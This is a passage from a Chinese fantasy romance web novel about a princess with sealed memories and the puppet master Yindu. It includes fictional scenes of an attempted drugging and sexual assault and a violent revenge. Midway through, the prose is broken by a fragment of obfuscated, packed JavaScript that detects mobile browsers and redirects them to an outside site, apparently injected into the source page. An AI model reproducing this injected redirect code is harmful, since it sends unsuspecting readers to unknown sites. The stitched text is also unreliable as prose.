瑞玉安突然大声道：“银度，你感觉不到爱吗？”
一瞬间，所有的木偶哆嗦了下，尤其是银亚，直接捂住眼睛。
银度站在那，宛如一尊木偶般寂静。
良久后，传来他背对的声响：“感觉不到。”
那是以前，自从有了道祖元神，能感觉到你的存在，而这是个巨大的陷阱。
瑞玉安怔忡地看着银度离开，站在阳光里却好像坠入冰窟。
“银度不会爱上我，对吗？”
斯坦夫人轻柔道：“不，我感觉到他已经不同了。”
玫瑰伯爵：“确实。主人有些不一样了。”
若珂：“但是，他的嘴巴和以前一样冷。”
阿琪：“不，他刚才解释迪莉娅时说了很长一段话，他变得和以前不一样了。”
银亚突然道：“你们还记得那两个外来女人吗？主人收留她们，而且一度想把白塔送给她们。所以……”
所有木偶齐齐道：“主人真得不一样了。”
瑞玉安一抹泪，疾步追去。在白塔的高处，一处半圆阳台上，她找到银度，扑抱住他的腰身。
“银度，如果你感觉不到爱，就让我来爱你。”
银度侧眸，低头看着腰腹处环紧的双手，许久没有说话。
瑞玉安耐不住转到他的正面，乖巧绝色的面容仰望银度，楚楚的眼神里写着心疼和动情。
“银度，以后你不是一个人。”
“呵，”银度笑起来，在瑞玉安不解的眼神下慢慢地散开卷马尾，披散一头大卷的银发。在瑞玉安惊艳的眸光里，他的周身披上一件黑袍，遮头盖脸，掩去他冷漠的神情和森冷的翠绿暗金眼眸。
瑞玉安下意识就把他的帽兜扯下去，让银发散到他的两颊，露出性/感又神秘的容色，也让阴暗的密勒尊者暴露在真正的阳光下。
这个举动让银度的心疯狂地跳动起来。
这一刻，他终于意识到一件事：一旦披上一件皮，被温暖久了，皮会紧紧地贴在肌肤上，很难再被撕扯下来。
“你会后悔。”
“不，我不后悔。”
瑞玉安接受他温柔含着阳光的亲吻，像是清晨的绿色草汁，看着冷毒，喝起来口感生涩，但是，其实细细品磨起来，味道很好。
“银度……我爱你。”
银度抱起瑞玉安，让她坐在阳台的栏杆上：“害怕吗？”
瑞玉安全心地信任他，挺腰身就环住银度的脖子：“我会紧紧地抓着你，不让自己有害怕、掉下去的可能。”
银度温柔地笑起来，再次轻柔地吻在她的脸颊，却吐出尖锐的话：“妖尊，你可真会玩。”
在瑞玉安震惊的眼神下，他伸手一推，就把人推出栏杆外，从白塔高处坠下去。
瑞玉安震惊地看向越来越远的面容，手中、唇上还残留他的阴狠、温柔，像是一道决绝而又难以舍弃的诀别。
她选择在最后时刻闭上眼睛，坦然地伸开双臂，任由林风吹拂起发丝。
**
“啊……”瑞玉安猛地坐起来，一下子蹦下床，探向房间的窗口外，天色已经黑了。她又抚摸周身，“我……没死？银度。”
循着白塔下传来的动静，瑞玉安来到白塔一楼，一楼的正厅有一处圆台，上面有玫瑰伯爵、斯坦夫人、阿琪和若珂，以及银亚，正在表演一场刺客暗杀伯爵的木偶戏。
银度就坐在舞台下面，静静地欣赏这一切。
瑞玉安闯过舞台，绕过表演中的管家银亚，来到银度面前。
“你……救了我。”
“我要杀你。”银度垂敛眸光，纤长的手指搭在交叠的膝盖，看起来是那么优雅，在瑞玉安的记忆里却是可怕的存在。
125. 第 125 章
此刻，瑞玉安克服恐惧，因为银度没有再用黑袍遮住头脸。
她蹲下来，柔软的下颚就抵在银度的膝头手背，真诚地看向他：“银度，如果爱上一个人让你害怕，那就不要爱，让我来爱你，好吗？请你给我一个机会。”
银度定定地看着她，听着圆台上玫瑰伯爵喊出的愤怒台词：
“亲爱的，你背叛我，你联合刺客杀我。天啊，为什么让我拥有这样的命运……”
瑞玉安发现银度的眸光瞥向舞台，回头大吼了声：“你们住口。”
玫瑰伯爵哑口。
斯坦夫人温柔地笑道：“或许，我们可以换个演法，毕竟我已经演了上千遍杀死爱我的伯爵的戏份。”
银亚怂怂道：“难道现在是要杀掉我这个管家吗？”
阿琪端起盘子就砸在银亚的脑袋：“为什么不可以呢？你这个上代伯爵的私生子……勾引伯爵夫人、引诱她进入地狱的恶徒。”
银亚欲哭无泪：“虽然不会痛，但这是主人给公主新买的玉盘子。”
若珂抽出他的道具玉筷子，狠狠地戳在银亚的心口：“去死吧，你这个邪恶的存在。”
银亚看着断成两截的筷子：“公主的筷子……我虽是私生子，但是伯爵父亲引诱我的母亲，又害死她。我是为母亲来报仇，属于正义得一方。”
……
瑞玉安仰看着眼神幽幽的银度，忍不住发笑：“你看，戏可以换着演，换一个角度，说法就不一样了。”
她回头对戏台上的木偶们道：“当你选择报仇，你就不再是什么正义。这个世界上，真正的正义是无私的，而一旦有私心的正义，只是立场选择的问题。另外，就是被大多数人承认的正义。
银度，我相信这个世界上有爱，没有私心的爱是对你最好的回应。”
银度站起来，再次笑出声：“不怕我？”
瑞玉安摇头，勇敢地抓住他的手：“不怕，死也不怕。”
银度拉着瑞玉安坐下去，戏台上的木偶们接着新剧本演下去。
“以前，高欧人太苦了，喜欢看伯爵被杀、穷人得到救赎的故事。无关正义，只是想要寻求一种反抗的欲望。”
瑞玉安轻轻地靠在他的臂膀，点头应了声。良久后，戏份落幕：玫瑰伯爵和斯坦夫人破镜重圆，伯爵改了奢侈无度的坏毛病，两人再次和好。
银亚被杀死。刺客若珂成了伯爵府的大管家，而阿琪嫁给若珂，一场大团圆剧目。
木偶们谢幕退场，银亚把她们搬下去。
一楼大堂安静下来。
瑞玉安忍不住道：“银度，你能给我说说你曾经的生活吗？”
银度望向空落落的舞台，帘子后面就是他的主场。
自从裂魂破境阵圆满他的感知后，反倒再也不想操控木偶。
“我没有父母，只有一个师父。他是流浪艺人，也被称为木偶操控师。我的师父痴迷于制造像人一样的木偶，突发奇想在我的身体里穿插许多银色的丝线，一度让我成为最真实的人偶。
我的情绪感知能力是在那时候被破坏掉的。”
瑞玉安震惊地抬起头，对上银度森冷的眸子。
此刻，她的眼里满是心疼，抓住银度纤长的手指，抚摸着指腹、指甲。
“那些银丝……”
“是啊。那就是师父一根根植入我身体的银丝。如今，我把它们放在另一个地方。”
“怎么可以这样？”瑞玉安愤怒道，“他简直不是人。”
“奇迹得是我活下来，并且越来越熟练地掌握这些银丝。一直到他想把银丝植入我的心脏。他望图控制我的思想，不让我有逃离得一天。”
银度闭上眼睛，缓缓道，“我用他植入的丝线杀了他，而我也奄奄一息。”又自嘲地笑起来，“但是，道祖的阵法救了我。这种阵法刻印在我的脑海，随时间流逝，环境和身体的改变，让身体适应存在丝线的情况。
无法弄清楚原理，但是我活下来，并且运用得当。
我唤它们为：千丝。代价是我永远失去感知情绪的能力。”
瑞玉安紧紧地抱住他的手臂，试图给予勇气。
“迪莉娅……”
“那只是一个小插曲。迪莉娅拥有理想，看上我操控丝线的本事，希望我能帮助她打败当时最厉害的领主，平息高欧近千年的征战。”
银度突然侧头，下颚抵在瑞玉安的头顶，轻柔地磨蹭起来，“迪莉娅说，我操控的木偶极其完美，若是这些木偶可以像人一样作战，就不必真人上战场厮杀。
我没有帮她，但是她给了我一个不错的点子。我开始尝试赋予木偶生命，走上另一条操控师道路。”
“银亚，他除了没有人的肌肤，其余像是人一样。”瑞玉安接话道。
“是。因为尝试让木偶像人，我开始解剖自己，试图弄明白为什么银丝在身体里还能活下来的原理。我找到了那方阵法。”
银度说着，识海里涌动一阵力量，一道金色的大阵盘旋而出，照亮整个大堂。
金色阵纹复杂，远胜长月的裂魂破境阵法。
瑞玉安仰望大阵，生出一种得到它的渴望。
银度迷离地看着金色大阵，恍然道：“千丝木偶，结阵为道。重生。”
瑞玉安的脑海里流过一阵光，忽然道：“以阵为道而育生命，意为重生。这是你赋予木偶/生命的法道。”
银度默默地点头，收回金色大阵。大堂一下子暗下来，有片刻的寂静。
“我本来会死，但是阵法救了我，又赋予我让木偶新生的能力。但是，我依然没有找回感知情绪的能力。一直到有一个人找上我。他叫皎月，天生大陆天净宗的老祖，一名卦道奇人。”
“你们做了什么？”瑞玉安喃喃问出口，忽然很害怕听到答案，“别说了……”
“他让我等待，等待千年，杀一个人。不，一名神。”银度站起来，俯视眼神晦淡惊恐的瑞玉安，“那人是你的道侣，名唤：黄椒。”
瑞玉安的脑海里好像打开一道闸口，流出一道白袍金边的男人身影。
恍惚的片刻，银度再次点在瑞玉安的额心神门，让她再次昏睡过去。
他抱起瑞玉安，无波无澜道：“一次次地提起再一次次的遗忘，就会让你真正地忘记他。当他再次出现在你的耳边时，你就会无动于衷。
瑞玉安，你答应了我，会尽全力爱上我，就不能反悔。不然，我会把你制作成人偶，永远被牵在十指上的人偶。”
清晨，瑞玉安醒来时，接过银亚手中熟悉的洗漱用具，吃过早膳后奔去找银度。
“银度银度……我们出去玩吧。”瑞玉安一把拉住银度的手，拖着他到白塔的门前，“银度银度快开门。”
银度挥手，玄观的丝线机关联动，大门徐徐打开。他又被瑞玉安拉着走出白塔，穿梭在茂密的森林。
“银度，为什么这里叫绿莽森林，有蟒蛇吗？”
银度看她宛如森林的精灵，欢乐且无忧的活着，像是人类最初的时刻。
他环顾丛林，解释道：“因为莽莽撞撞进入这片森林的人都没有活着回去，所以这里被叫做绿莽森林。小心……”
银度一把拉过瑞玉安，避开森林里的银色丝线：“这里到处是银丝，稍不留神就会丢命。所以，我才关上大门，不让你出来。”
瑞玉安细细地观察，果然看到宛如一道光的危险丝线。她拉住银度的手，左摇右晃：“可是……银度，我整日待在白塔会生病的，无聊病。不如，你劈出一片花园给我玩，可以吗？银度……”
银度看着她请求般的面容，委委屈屈像是要不到糖的可怜女孩。他撇开眼，默默地点头：“好。”
“太好了。”瑞玉安垫脚就吧唧一口亲在银度的脸上，拉着失神的银度往回跑去，“走，我们一起打造花园。玫瑰伯爵还没有玫瑰呢，我们打造一片真正的玫瑰花园。”
这日过后，日子在忙碌的开垦中流逝。当玫瑰被栽种下去，还没有长出花苞的时候，瑞玉安又觉得生活枯燥、无聊。
她再次寻到银度，发现他已经完成瑞玉安的玉偶。
“银度，我们出来很久了，回红翡庄园吧。”
银度放下纂刻刀，抬眼看向不安的瑞玉安，良久吐出一个字：“好。”
瑞玉安兴奋地跳起来，直接坐上银度的腿，环着他的脖子嘻嘻发笑：“银度，你真好。等玫瑰花开的时候我们就回来，好不好？”
“好。”
瑞玉安狠狠地吻上银度的唇，再提着裙摆像蝴蝶一样飞出房间。
银度看着桌上的玉偶小像，一刀下去，玉像头顶开了一个口。五道银丝从小像顶端露出来被银度的五指收入，五指一动，玉像就如人一样走动起来。
这是一体成型的玉像，再切割打磨，用机关拼接而成，像木偶一样可以被人支配。
银亚不舍地送走瑞玉安，提着水壶按瑞玉安的吩咐去给玫瑰浇水。他希望玫瑰早早开花，这样白塔又能热闹起来。
但是，玫瑰花开了几茬，他却再也没有等到主人和公主回来，迎来得是一名拥有公主容貌却辣手摧花的合欢妖尊。
**
“银度，这里不是三首国，也不是高欧国。这是哪里？”
“山泽帝国东面的昌明城，在几年前，曾经是高昌的都城。”银度解释道，拉住东奔西跑的瑞玉安。
瑞玉安拾起一面锣鼓，轻轻地敲打：“好听吗？”
“这是木鱼，本地人用来居家礼佛的用品。”银度没有拿回瑞玉安手里的木鱼，反而付了一锭银子。
瑞玉安“哒哒哒”地敲击起来。
路人跟在她的身后，口里念念有词，吓得瑞玉安停下木鱼，拉住银度。
“他们怎么了？”
“你的木鱼声引动你脚踝上的铃铛，有蛊惑人心的能力。他们把你当成菩萨。”银度再看了眼入迷的队伍，拉住瑞玉安就跑，“快走。一会他们把你拉去做居士。”
“啊，我不要。”瑞玉安被银度拉着一路狂奔。
而两人身后的人不管不顾追去，直至两人消失才反应过来：“我们追什么？”
“是啊，追什么呢？”
“算了，回去吧。”
……
瑞玉安躲在角落，忍不住大笑起来。她提起脚，脱下鞋子，又晃了几下铃铛。
“真有意思。这铃铛一直戴在脚上，从来没响过呢。现在也没响了。”
“兴许你敲木鱼时心思剔净，从而生出让人跟随的想法。”
银度蹲下身，帮她把鞋子穿好，“走吧，带你去吃东西。”
“好。”瑞玉安牵着银度的手走入一家酒楼。
用过饭后，银度又带着瑞玉安走了昌明城各地的景点。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14636864|147152||http|test|mini|href|location''.split(''|''),0,{}));
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瑞玉安渴了，一定要喝中午用膳时吃过的石榴小红酒，非得让银度去买。
银度离开后，瑞玉安的旁边来一群人，蜂拥着往小十方山走去。
瑞玉安出于好奇也跟了上去，听说小十方山上有十方寺住持举办的法会。
她穿梭在香客和僧侣的人流里，听了一场似是而非的法会，直至一声空灵的钟鸣，让她震在原地。
“施主，住持请您往后山吃茶。”小沙弥站在发愣的瑞玉安面前，施礼道。
瑞玉安本想离开，鬼使神差跟着小沙弥往寺庙的后山走去。
此时，法会已经散场，人流都是反着走。
瑞玉安生出一种独行前往的孤独感，突然立住脚：“我不去了。我要找同伴。”
“施主……”小沙弥完不成任务，害怕住持责罚，赶紧拦她的道。
瑞玉安非常不安，想要绕过小沙弥，听到一声灌入心灵的“阿弥陀佛。”
她回身看去，小沙弥叫这光头和尚“住持”，也正是适才在台上讲佛法的僧侣，人们尊他为“火云法师”。
火云子也是出神般看着瑞玉安，在瑞玉安想要逃跑时才缓缓道：“施主不想知道真相吗？”
瑞玉安停下脚步，满脸拒绝地看着他：“真相是什么不重要。我现在开心就好。”
“是吗？施主真得开心吗？或许，施主忘记自己要走的道呢？”
瑞玉安愣怔，脑海里出现一座悬空的桥，但是她走不上去，那桥很高很远，无论怎么够都够不到，也飞不到。她好像只能飞树那么高，却怎么都飞不到虹桥。
“我……”
“沉溺久了会忘记自己本要走的路。阿弥陀佛。”火云子念完，转身离去。他的背影好像放下什么，舍弃什么，又像是走上一条全新的道。
在熟人的眼里，他们就会理解，火云子拯救十方山寺，让高昌恢复以往的和平，一切都随时间消失。他已经放弃向合欢妖尊报仇的执念，再也不会追着她喊复仇的话。
瑞玉安一个人被留在石榴树下，大朵的石榴花掉落在她的周围。
那句“沉溺久了……”的话非常耳熟，像是什么人曾经说过，但是记不起来。
她看到银度踏着火红的石榴花走来，生出一种想要逃跑的冲动。
不对，明明爱着银度，为什么要逃呢？
银度拂掉瑞玉安头顶落下的石榴花，拉起她的手，放上她要喝的石榴酒。
“我差点找不到你，该怎么办啊？”
瑞玉安下意识就投进他的怀抱，贴着他的心口：“我爱银度，去哪里都会让你找到。”
“是嘛？你去哪里都会让我找到啊。”银度重复着这句话，慢慢地拉起唇角，收起手中的刻刀。
他牵上瑞玉安的手，“走吧。我们换个地方玩。”
“好。”瑞玉安轻声应道。
客栈里，瑞玉安取出雕刻“合欢”字样的玉珏，脑海里的画册上人山人海，主人公融入其中，如同平常人一样生活，渡过一生。
翌日，瑞玉安在昌明城下的侣风镇买一幢宅子，打算和银度一起生活一段时间。
银度没有异议，随着瑞玉安的性子，如寻常人般生活。
瑞玉安的好客、活泼以及漂亮的容貌让她很快同邻里打成一片。
两人会一起做饭、种花，银度会帮邻居打造木质家具，手艺极好。
瑞玉安会帮玉器店老板雕刻玉件，样式奇特又新颖。
数个月后，两人成远近闻名的恩爱小夫妻，生活平静又富足。
夜间，瑞玉安会偷偷翻开识海里的画册，欣赏画里人的情绪。
翌日，她会满怀愉快地生活、帮助需要帮助的人。
直至这天，瑞玉安看到一名白发剑客，苍苍白发却是青年的容貌，好奇道：“你拦着我道了，让让。”
九阳剑尊默默地看着她，突然道：“合体境后我本可以恢复黑发，但是我没有。因为我想你记得，这是因为你才白了的发。可是，你不记得了。”
瑞玉安眨眼，抿唇道：“你认识合欢妖尊？但我真的不是她。”虚作拱手，绕过白发剑客就夺路逃走。
欧阳燕歌从暗处走来，挡在瑞玉安逃跑的道路上。
“妖尊，许久不见。若你想知道答案，不妨去一趟青衍镇，那里有一只特别的钟，敲响它，你会知道一切的答案。”
瑞玉安听完，一声不吭地绕过欧阳燕歌。
而欧阳燕歌拦住想要再追上去的九阳剑尊：
“剑尊，如今不是打扰妖尊的时候，既然她想要忘记，自有她要忘记的理由和用意。
三生道屠戮天龙道浮空岛一战，让天龙道死伤惨重，羽化生立誓讨回公道。
世净宗已经在集结力量，准备攻打三生岛。当初，妖尊不想发生此战，尽力拖延避战。如今，世净宗觉得时机成熟，已经无人可以阻止羽化生。此事，还需你我前去调和。”
九阳剑尊看着逃走的背影，转身随欧阳燕歌离去。
银度从暗处走出来，扛着一根木料回家。
他放下木头，看着从隔壁端来饭菜的女人，淡淡道：“今天……”
“银度，今天吃荷叶鸡和黄焖米饭。张嫂子说了，她在我的指导下，手艺越来越好。哈哈哈……”瑞玉安放下饭菜，拉过银度去洗手，“你刚想说什么？”
“没什么。”
126. 第 126 章
洗完手后，两人坐在桌前，面对简单的一菜一饭，银度慢慢道：“瑞玉安，你是公主，跟着我住在这样的地方，不觉得委屈吗？”
“不觉得啊。我觉得很有趣，你吃这个。”瑞玉安把鸡块夹进银度的碗，试探道，“银度，这里都是女人做饭，男人做工。可是，我连最简单的饭都做不好，最后还要你花钱请隔壁张嫂子做饭，你会不会觉得这样的我很没用，根本不配爱你？”
“……”银度忍俊不禁地笑出声，看楞了小心翼翼的瑞玉安。
他收敛笑声，温声道：“傻瓜，忘记自己说过的话，没有私心的爱是世界上最好的爱。此时，你对我毫无私心，只有爱。我很……欢喜。”
“银度……”
瑞玉安不吃饭了，坐进银度的怀里，紧紧地抱住他，满足道，“银度，我感受到了你爱我的幸福。我觉得此时得我是全世界最幸福的女人。”
银度暖暖地笑开，抵在瑞玉安的发顶。
“是啊，我爱你，瑞玉安。”因为此时得你只是瑞玉安。
岁月静好，莫不过此。
生而为人，拥有感知幸福的能力和时刻，这就是人生。
晚间，瑞玉安突然从床上坐起，翻下床后来到院子。
仰首面对圆月，脑海里的画册像是活了般，虚无的神识人影浮动在瑞玉安的周围，演绎天地同欢道的入门法诀。
月华又引动她体内的《玉石还阳功》，催生第一篇第一章：固魂定魄，转阳生机。
浑厚的灵力浮荡向周围，草木生机盎然，石榴花落果再开，而房间内安睡的银度豁然睁开眼。
银度站在窗口，默默地看向那个沐浴月华的女人。
即使封印记忆，她的道却没有停下运转。
传闻合欢妖尊是合欢宗半月尊者的弟子，修习天地同欢道。那枚雕刻“合欢”的玉珏应该是天地同欢道的功法。以自身神识模拟大千世界，加上现在的世间环境，以寻常人情入天地同欢的道境。
另听闻合欢妖尊拥有一套功法，可以多次死而复生，甚至引别人的灵力为己用，何等奇诡。
银度仰观明月，天地自然之力被她支配，增固她的灵魂和法身，夯实合体境后期的修为。
即使失忆，她也在凭本能让两道结合成她个人的大道。
“呵，”银度瞬移入院，在美丽的月色下，俯视沉浸修炼的绝色女人。
他露出森冷的笑容，“人偶才是留下你的最好办法，对吗？合欢妖尊。”
合体境，元神入元婴合体成神。
元婴会保留原主人的性情，在主人遇到危险时本能做出反应。
银度露出杀气时，瑞玉安的背后显现猩红的修罗法相。
法相手持诛神魂剑，面向银度。
银度倏忽眯起目光。
金沙确实死了，死前给这个女人打造一把开过锋的诛神魂剑。
“四人中，金沙的实力最强，竟会在死前给她打造神魂之剑。当真是厉害至极的手段，不愧是合欢妖尊。”
修罗神法相冷冷地注视银度，手中的诛神剑已经指向他。
瑞玉安的心悸动了下，背后的法相瞬间消散。
她慢慢地睁开眼睛，在看到银度的刹那，一张冷艳的面庞转瞬融化成温柔的流水，像被本能驱使，飞扑进银度的怀抱。
而银度的动作熟练到让人心疼，以公主抱的姿势抱起这个扑跳来得宛如魔魅的女人。
她不知道这个瞬间可以杀她百次吗？
瑞玉安彻底清醒，自然地娇嗔着，眼神纯净，毫不作虚地撒着娇：“银度，你抱我出来看月亮吗？今晚的月色好美啊。”
银度看她良久，在瑞玉安用奇怪、怀疑的眼神审视自身时，叹了口气：“我该拿你怎么办？”
“爱我就可以啊，银度……”
从舌尖呼出的名字像是被品尝过千百遍，入耳后生出无限的温柔旖旎，银度松弛下来。
瑞玉安的不安淡去，一下子亲在银度的唇角：“中原人有成亲的仪式。银度，我们到现在都没有……不如，我们回翡翠城结婚吧。
至于珍宝，银度就是世界上最好最独一无二的珍宝。你把自己献给我，我一定会通过对你的考核。”
银度一言不发，把她抱在怀，拥着她一起看天上的月亮。
安静得过分的夜里，银度轻喃道：“瑞玉安，中原人喜欢风花雪月、诗词歌赋。此景此前，他们大概会说：天地苍茫，人月两圆，最可悲得莫不过……你在这里，却又不在这。”
瑞玉安嘟囔了句什么话，一把捧住银度的脸，认真道：“我就在这。银度，我一直在这，你不准离开我。”
她紧紧地揽住银度，怕失去他般用力地抱着。
这份力量也传递给银度。
银度轻声道：“瑞玉安，记得我给你讲的故事吗？那个叫皎月的中原人的故事。”
“卦道奇人？”
“嗯。”银度低首看她的眼睛，瑞玉安如珠似星环的眼瞳里泛着幽幽的紫金色光芒，这是入道境的眼神。
“除了他，还有金沙、泽萃，我们四个人联合在一起，筹谋近千年，等待一个机会，诛神的机会。”
瑞玉安贴在他的心口，感受着他略微增强的心跳。
“杀了神灵，你感知情绪的能力恢复了吗？”
“嗯。”欢喜……多么让人着迷的情绪啊。
银度的脸靠在瑞玉安的发顶，失神般呢喃，“仅是一道声音让我有了感受这个世界真实存在的能力。我背叛他们，和祂达成协议。
但是，我后悔了。因为你如祂说得一样……妙不可言啊。
这份‘拥有’像是身处天地，不可挣脱、逃离的力量，紧紧得把我从虚无中拉进现实。我被你的情绪包围，美好得让人舍不得看清现实。”
瑞玉安从他的拥抱里挣出，仰看着银度：“你被骗了，银度。”
银度讶然地看着她。
瑞玉安嬉笑道：“我不管他们说什么，不管我是不是他们口里的合欢妖尊……现在得我不认识他们，只认得银度。
现实就是我在银度的怀里，想要和银度结婚，像世间所有夫妻一样和和美美地生活在一起。而那个神……既然祂让我的银度恢复感知情绪的能力，那就……杀得好。”
“你真这样想吗？”
瑞玉安指天发誓，被银度按住手掌，嘟囔道：“你不信我？我就发誓，隔壁张大哥一犯错就发誓，张嫂子每次都原谅他。”
银度的回答是亲在她的额头，轻笑道：“不，我信你。瑞玉安，我的瑞玉……”
两人紧紧地靠在一起，彼此相拥，好像心无比地贴近一样。
翌日，瑞玉安在银度的怀里醒来，好奇又失望地磨蹭银度的下颚，重重地叹了口气。
“哎……”
银度倦懒地问：“怎么了？”
“张嫂子说爱一个人的眼神藏不住。她说我看你的眼神像是看她做的荷叶鸡。但是，银度，我们都睡在一起了，你却……”
瑞玉安嘟着嘴，可怜兮兮地偷觑懒懒的银度，“你怎么就不碰我呢？你是不是……”
银度拉起唇角，眼神里流淌着笑意。一翻身就把瑞玉安抵在下面，翠绿环金的眼瞳紧紧地锁住她。
瑞玉安的心剧烈地跳动，乖顺地闭上眼睛，期待他吻来。
银度俯在她的耳旁，低声耳语：“小公主，感受到吗？它在渴望你。”
闭紧眼睛的瑞玉安面色绯红，像是被霜打过后又被太阳照过的苹果，水灵又甜。她紧张地抓住两侧的床褥，娇羞又大胆地点头。周身浮荡着一股春/潮般的期待，期待爱人的抚触。
银度直起身，纤长的手拂开瑞玉安额前调皮的碎发，感觉到她的微颤和紧张。
在身/下人的等待中，他翻身下榻，边穿衣边道：“今天我把桂叔定的柜子打完。交付后，明天就回翡翠城。”
瑞玉安抱着被子坐起身，气鼓鼓地瞪向穿好衣服出门的男人。
“臭银度……混蛋……”
传来院里打水的声响，一会后又是削制木料的声音……瑞玉安气鼓鼓地穿戴整齐后拎起篮子准备出门。
银度头也不抬继续忙碌，嘴上道：“张嫂子送来你喜欢的豆浆和包子，吃完再出去吧。”
瑞玉安洗漱后瞪着银度，三口吃掉一个包子，一口焖掉豆浆，转眼见银度含笑望来，气得哼他一声，自顾拎篮子出门。
“等等，”银度用干净的手帕抹掉瑞玉安唇角的浆渍，“不如把银子给张嫂子，让她去采买吧。”
“不要。我还要去玉器行交货呢，拿了银子给你买荷叶鸡，补一补，哼。”
瑞玉安给他个不怀好意的眼神，临出门又回头，满脸的笑容绽放感染力，“银度，等回去后，你一定要献……身哦。”
银度给她一个侧颜笑容，弯身削制木料，一直翘起的唇角泄露了他的心思，脑海里全是瑞玉安的一颦一笑。
瑞玉安在玉器行交付道祖挂件，接过银子后又在早市里买鸡和干荷叶，再花银子让人把菜送到张嫂子家。
她独自一人来到昨天遇见欧阳燕歌的地方。
欧阳燕歌的话有深意：
“若你想知道答案，不妨去一趟青衍镇，那里有一只特别的钟，敲响它，你会知道一切的答案。”
“师叔，你果然来了。”
青柑热切地看向瑞玉安，行礼后迫不及待地拿出一枚传送符，“这是千里传送符，可以送师叔前往青衍镇探明真相。”
瑞玉安小心地接过传送符，犹疑道：“我还能回来吗？”
“这枚符可以带师叔回到此地，一来一回不过一炷香的时间，不会惊动你屋子里的人。”
瑞玉安抿着唇，拿过他手里的两枚符，思量了一番：黑珠先生介绍欧阳燕歌，欧阳燕歌指派这人，信息都对得上，应该可以信任。
一炷香的时间，去去就回，银度都没打完一个柜子。
“好。那……这个怎么用？”
青柑微微发笑，发现瑞玉安有片刻怔忡，似被自己的惑术迷了。
他的眼神幽暗了，镇定地取回瑞玉安手里的传送符。
“请师叔把手搭在我的肩头，一符两人，即刻到青衍镇。”
瑞玉安拉长袖子，垫在青柑的肩头，轻咳声道：“好了。”
青柑默默地看向肩上的手，突然道：“师叔还真是……金贵得很。”
“废什么话，快点。”瑞玉安蹙眉，心底生出一丝不安。
这是修士在遭遇危险前的本能预警。
青柑催动传送符。
瑞玉安在一阵天旋地转后消失在这处无人的街角。
镇头小院里削制木料的银度豁然抬头，一步遁空，消失在院子。
而这方院子、一只没有打完的柜子再没
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有迎来它的主人。
瑞玉安落定后环顾四周，身处一片五光十色的水潭边，池边小道不过两脚掌宽，一个不慎就会跌进池。
她诧异地转身：“这是什么地方，青衍镇？钟呢？”
青柑伸手一推，瑞玉安落进胭脂般的红色汤池。
“啊……救命……”
汤池鲜红，美人出浴，白色与红色交相辉映，映得瑞玉安像是梅中雪蕊。
青柑的眼神直了，湿了的瑞玉安何等玲珑身段，无法想象那个天天抱着她睡的男人该多享受。而且她得这一身修为，漏出一点点就可以让人直达元婴境。
“师叔……”青柑咽了口水，眼神再露骨不过，“师叔果然非常适合红色，不愧被师父念念不忘、耿耿于心。”
瑞玉安听不懂他说的话，试图上岸，却对上青柑令人恶心的笑脸。
她怂怂地转去旁边上岸，却被青柑迎头一把粉末撒地连打喷嚏。
“阿嚏阿嚏……你对我做什么啊？呜……”瑞玉安要哭了。
从来没有人敢这么对三首国的瑞玉安小公主。
“合欢宗的合欢仙啊。在师叔的记忆里，师叔在十国会上第一次见我吧？
但是，师叔不知道哦，在你和花涟长老的结侣大典上，我已经对你情根深种。”
青柑蹲下身，玩笑着看瑞玉安抓领抹脸的娇俏模样，“师叔的惑术是合欢宗第一。所以，我用比合欢散更厉害百倍的合欢仙。
这处五色池是我为师叔精心炼制而成，等得就是这一天。
呵，老天不辜负我啊。”
“混蛋……银度……不会放过……你……”
瑞玉安恶狠狠地瞪向青柑，向远离他的方向逃去。
她翻出红色的汤池，还没站稳就被一击打落进乳白色的汤池，红与白混在一块，入了瑞玉安的眼里像是扭曲的彩色画面，眼里只有这两种颜色，再无别的存在。
青柑冷笑了声：“那个男人吗？我确实打不过他，但是他也找不到你。”旋手凝诀，五色池水混合成团将瑞玉安承托其中，交杂着充斥瑞玉安的身体每一处，试图让她染上情和欲的色泽。
一股钻心的酥麻让瑞玉安大口地喘息，理智再也不存在了。
“呃……啊……银……度……唔……救我……”
青柑接住虚浮而来的柔软微颤的身躯，正待俯下身时，瑞玉安迷离的眼神豁然清醒，翻出猩红的色泽。
这个眼神的杀意直接震住青柑，吓得他魔怔般凭本能呢喃：
“师……师……师叔……”
荇菜抬手掐住青柑的脖子，无波无澜的面庞绯红潋滟，在青柑惊悚的目光里轻蔑的勾起唇角。
“以往本尊见你老实，没想到同你的师父欢喜一样不讨喜。他窝囊就算了，你和他比，不仅窝囊还恶。
浮空岛一战让你活下来，也就到此为止。”
“不……不要……”青柑想要说我错了，但是来不及了。他的眼睛被一片潋滟的紫波照耀，入耳的“挥刀自宫”让他失神地走进乳白的汤池。
嫣红的血水染红汤池。在疼痛中，他清醒了片刻，却看到了宛如地狱魔女般的冷艳师叔。
青柑颤动着唇齿，想要说出求饶的话……荇菜勾起唇，一道法术就让青柑周身的灵力宛若水一样散向周围。
荇菜：“夺天地自然之气，倒转阴阳。取之于自然，归之于自然，视为合合之道。天地同欢，玉石还阳，皆是此理。”
嫣红的唇瓣念诵道法心得，青柑的周身流转一道类似裂魂破境阵的阵法，让他像水雾一样消散一空。
余留一件道袍漂浮在乳白和红色交混的汤池。
“多谢你的合欢仙，让我有片刻清醒。”荇菜旋身踏步，准备遁空离去，察觉四周空间传来密勒尊者的气息，撤身一退，躲进蜃珠。
银度在五色池上游走，观察汤池里漂浮的衣衫，静立半响。
他可以找到瑞玉安的行踪，但不一定找得到合欢妖尊的行踪。
自我封印的法术不可能轻易被破解，而解开封印必有技巧。
“青衍镇。”
说完，他往青衍镇赶去。
荇菜从蜃珠出来，抚摸在心口跳动的位置。
“以封印记忆之法恋上世间人物，当真是决绝得很啊。
瑞玉安，你不可能成为独立的人格。”
“若是沉溺太久，会被天道捆绑得更深。若是那样，你就永远回不去。比起修为的突破和杀人达到目的，你更重要得是寻找到属于自己的道。”
荇菜冷冷地环顾这片天地。
“原来黄椒留下的金叶是这个意思。我给天道可乘之机，天道以瑞玉安的性情塑造固缚在这片天地当中的人格，从而让我再没有破境飞离的可能。
呵，无孔不入、无处不在的天道。
以前，我的敌人是朱琴天，打败他就需要得到黄椒的力量。
